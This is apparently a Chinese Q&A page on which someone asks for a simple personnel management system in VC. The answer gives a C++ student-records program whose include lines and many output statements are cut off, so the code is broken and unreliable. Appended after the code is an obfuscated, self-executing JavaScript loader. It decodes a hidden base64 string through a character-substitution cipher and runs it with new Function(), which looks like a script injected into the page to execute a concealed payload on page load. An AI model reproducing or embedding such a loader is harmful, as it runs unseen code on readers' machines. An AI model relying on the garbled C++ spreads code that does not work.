用VC做个人事管理系统 简单点的

2025-04-07 05:43:58
推荐回答(1个)
回答1:

/*****************************************************
主要说明:学生档案管理
本程序采用面向对象技术结合,实现简单学生档案管理功能
(含学生基本信息管理、学生成绩管理、学生毕业管理)。
编制日期:2006年1月8日晚
编制人:陈
*****************************************************/
#include //使用控制台流输入、输出
#include //使用文件流输入、输出
#include //使用流格式控制输入、输出
#include //使用串比较
using namespace std;
class personnel //人员类
{
protected:
int id;
char name[8];
int age;
char addr[20];
public:
virtual int getid()=0; //为判断从文件中找到的记录学号是否和输入的相等用
virtual char* getname()=0; //为判断从文件中找到的记录姓名是否和输入的相等用
virtual void input()=0;
virtual void output()=0;
virtual void output1()=0;
static int k;
personnel() //人员ID自动编号
{
id=k;
k++;
}
};
int personnel::k=1;
class course //课程类
{
int cid;
char cname[8];
public:

void input()
{
cout<<"输入课程编号:";
cin>>cid;
cout<<"输入课程名称:";
cin>>cname;
}
void output1()
{
cout<<"课程编号:"< cout<<"课程名称:"< }

};
class student:public personnel //学工处使用的学生基本档案
{
char specialty[10];
int grade;
public:
int getid() //为判断从文件中找到的记录学号是否和输入的相等用
{
return id;
}
char* getname() //为判断从文件中找到的记录姓名是否和输入的相等用
{
return name;
}
virtual void input()
{
cout<<"输入姓名(三个汉字以内):";
cin>>name;
cout<<"输入年龄:";
cin>>age;
cout<<"输入地址(9个汉字以内):";
cin>>addr;
cout<<"输入专业:";
cin>>specialty;
cout<<"输入年级:";
cin>>grade;
}
virtual void output() //显示花名册时用
{
cout<<"┃"< cout<<"┃"< cout<<"┃"< cout<<"┃"< }
void output1() //显示简单的单个学生信息用
{
cout<<"学号:"< cout<<"姓名:"< cout<<"年龄:"< cout<<"地址:"< cout<<"专业:"< cout<<"年级:"< }
};
class student_base:public personnel //系使用的学生档案、含课程成绩
{
private:
course sc[10];
int result[10];
public:
int getid() //为判断从文件中找到的记录学号是否和输入的相等用
{
return id;
}
char* getname() //为判断从文件中找到的记录姓名是否和输入的相等用
{
return name;
}
virtual void input()
{
cout<<"输入姓名(三个汉字以内):";
cin>>name;
cout<<"输入年龄:";
cin>>age;
cout<<"输入地址(9个汉字以内):";
cin>>addr;
for (int i=0;i<10;i++)
{
sc[i].input();
cout<<"考试成绩:";
cin>>result[i];
}

}
virtual void output() //显示花名册时用
{
cout<<"┃"< cout<<"┃"< cout<<"┃"< cout<<"┃"< }
void output1() //显示简单的单个学生信息用
{
cout<<"学号:"< cout<<"姓名:"< cout<<"年龄:"< cout<<"地址:"< for (int i=0;i<10;i++)
{
sc[i].output1();
cout<<"考试成绩:"< }
}
};
void InputStudent(personnel *per) //输入学生信息,并存入文件
{
ofstream ofile("student.dat",ios::app);
char ch; //用于接收控制是否继续的y/n
while(1==1) //死循环到break为止
{
cout<<"输入下一个学生信息?(y/n)";
cin>>ch;
if(ch=='n'||ch=='N') break;
per->input();
ofile.write((char*)per,sizeof(*per));
}
ofile.close();
}
void OutputStudent(personnel *per) //从文件读取学生信息,并显示花名册
{
ifstream ifile("student.dat");

/*显示表头*/
cout<<" 学生花名册"< cout<<" =========="< cout<<"┏━━━┳━━━━┳━━━┳━━━━━━━━━━┓"< cout<<"┃ 学号 ┃ 姓名 ┃ 年龄 ┃ 地 址 ┃"<
/*显示记录*/
while(ifile.read((char*)per,sizeof(*per))) //循环到文件读完为止
{
cout<<"┣━━━╋━━━━╋━━━╋━━━━━━━━━━┫"< per->output();
}

/*显示表尾*/
cout<<"┗━━━┻━━━━┻━━━┻━━━━━━━━━━┛"< ifile.close();
}void modify(personnel *per,int st_id) //根据输入的学号,查找并修改学生记录
{
int k=0,flags=0; //k用于计找到信息时的记录位置,flags用于标示是否找到记录
fstream sfile("student.dat",ios::in|ios::out);
while(sfile.read((char*)per,sizeof(*per))) //循环到文件读完或break为止
{
k++;
if(per->getid()==st_id) //判断从文件中读取的记录的学号是否和输入的相同
{
flags=1;
cout< cout<<"学号为"< per->output1();
cout<<"请重新输入该学生的信息:"< per->input();
cout< sfile.seekp((k-1)*sizeof(*per)+1,ios::beg); //k为当前显示记录的下一位置

sfile.write((char*)per,sizeof(*per));
break;
}
}
if(flags==0)cout<<"学号为"< sfile.close();

}
void find(personnel *per,char name[8]) //根据输入的姓名,查找学生记录
{
int flags=0; //flags用于标示是否找到记录
ifstream ifile("student.dat");
while(ifile.read((char*)per,sizeof(*per))) //循环到文件读完或break为止
{

if(strcmp(per->getname(),name)==0) //判断从文件中读取的记录的姓名是否和输入的相同
{
flags=1;
cout< cout<<"姓名为"< per->output1();
break;
}
}
if(flags==0)cout<<"姓名为"< ifile.close();

}void student_1()
{
student_base *stu;
stu=new student_base;
char ch,name[8];
int flags=0;
int st_id;
while (flags==0) //每做完一项所选择的工作后,重复显示菜单,直到选择x为止
{
cout< cout<<" 系学生档案管理"< cout<<"=================="< cout<<"a.输入学生档案信息"< cout<<"b.修改学生档案信息"< cout<<"c.查询学生档案信息"< cout<<"d.显示学生花名册"< cout<<"x.结束"< cout<<"请输入选择(a,b,c,d,x):";
cin>>ch;
cout< switch (ch)
{
case 'a':
InputStudent(stu);
break;
case 'b':
cout<<"请输入要修改的学生学号:";
cin>>st_id;
modify(stu,st_id);
break;
case 'c':
cout<<"请输入要查询的学生姓名:";
cin>>name;
find(stu,name);
break;
case 'd':
OutputStudent(stu);
break;
case 'x':
flags=1;
delete stu;
stu=NULL;
break;
default:
cout<<"选择错误,请重新选择!"< }
}
}
void main()
{
student_1();
}

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();